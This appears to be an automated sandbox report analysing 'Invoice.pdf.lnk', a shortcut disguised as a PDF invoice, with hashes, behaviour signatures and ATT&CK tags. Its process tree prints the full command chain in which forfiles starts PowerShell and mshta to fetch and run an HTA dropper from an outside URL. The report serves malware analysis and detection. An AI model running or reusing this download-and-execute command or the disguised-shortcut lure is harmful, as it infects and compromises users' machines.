31c7a17e9f518c9f55ecfaa428e069d9fc1c820c74ed53392bc1b219915438b3

Analysis

max time kernel
1200s
max time network
1172s
platform
windows11-21h2_x64
resource
win11-20240426-en
resource tags

arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
submitted
08/05/2024, 14:57

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General

Target

Invoice.pdf.lnk
Size

148KB
MD5

12e2b5c70cc7ba659226a376dc3cc039
SHA1

08f338109566d47a2c0b91e071fabc6781cbd167
SHA256

31c7a17e9f518c9f55ecfaa428e069d9fc1c820c74ed53392bc1b219915438b3
SHA512

b1e451265e4409ab4c1492ee5ca903b444d22604b8f0860bbf949107c92ee952f4fd94535116a202579ab75c12860657cb123d6371d1f54d39409c48b82ead31
SSDEEP

24:8WEe6Dz358m+pyAWkr+/4zc+8PxZvBT0qdd79ds/Z6U/ab9Q9qFBm:8WENDzKvbc7nvBT7dJ9A6U/a5QW

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://invoiceinformations.com/InvoiceInfo/EvernoteInvoice

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
2	5112	mshta.exe
3	5112	mshta.exe
4	5112	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1256	powershell.exe
1256	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1256	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3100 wrote to memory of 1524	3100	cmd.exe	79
PID 3100 wrote to memory of 1524	3100	cmd.exe	79
PID 1524 wrote to memory of 1256	1524	forfiles.exe	80
PID 1524 wrote to memory of 1256	1524	forfiles.exe	80
PID 1256 wrote to memory of 5112	1256	powershell.exe	81
PID 1256 wrote to memory of 5112	1256	powershell.exe	81

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Invoice.pdf.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:3100
- C:\Windows\System32\forfiles.exe
  "C:\Windows\System32\forfiles.exe" /p C:\Windows\System32 /m calc.exe /c "powershell . mshta https://invoiceinformations.com/InvoiceInfo/EvernoteInvoice"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1524
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    . mshta https://invoiceinformations.com/InvoiceInfo/EvernoteInvoice
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1256
  - - C:\Windows\system32\mshta.exe
      "C:\Windows\system32\mshta.exe" https://invoiceinformations.com/InvoiceInfo/EvernoteInvoice
      4⤵
      Blocklisted process makes network request
      PID:5112

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wimbzna3.u2e.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1256-0-0x00007FFF1DEB3000-0x00007FFF1DEB5000-memory.dmp

Filesize
8KB

Download
memory/1256-6-0x000001EBE06F0000-0x000001EBE0712000-memory.dmp

Filesize
136KB

Download
memory/1256-10-0x00007FFF1DEB0000-0x00007FFF1E972000-memory.dmp

Filesize
10.8MB

Download
memory/1256-11-0x00007FFF1DEB0000-0x00007FFF1E972000-memory.dmp

Filesize
10.8MB

Download
memory/1256-14-0x00007FFF1DEB0000-0x00007FFF1E972000-memory.dmp

Filesize
10.8MB

Download